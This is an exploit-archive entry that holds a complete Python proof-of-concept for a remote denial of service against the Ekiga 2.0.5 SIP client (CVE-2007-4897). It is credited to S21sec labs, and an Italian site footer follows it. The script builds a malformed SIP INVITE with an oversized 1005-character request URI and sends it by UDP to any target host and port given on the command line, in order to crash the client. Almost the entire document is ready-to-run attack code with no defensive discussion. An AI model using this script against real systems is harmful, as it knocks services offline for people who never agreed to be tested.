Ekiga 2.0.5 (GetHostAddress) Remote Denial of Service Exploit
2009-07-24 16:11:15#!/usr/bin/env python
#
# Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)
#
# ekiga207_dos.py by Jose Miguel Esparza
# 2007-09-11 S21sec labs
import sys,socket
if len(sys.argv) != 3:
sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
"Call-ID:[email protected]\r\n"+\
"Contact:sip:[email protected]:5060\r\n"+\
"Content-Length:417\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:[email protected]:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:[email protected]\r\n"+\
"Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.

